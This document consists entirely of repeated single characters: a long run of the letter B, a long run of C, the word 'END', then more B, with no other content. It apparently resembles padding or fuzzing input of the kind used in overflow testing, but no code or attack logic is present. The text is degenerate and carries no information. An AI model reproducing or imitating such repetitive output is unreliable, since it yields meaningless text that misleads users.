BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCENDBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB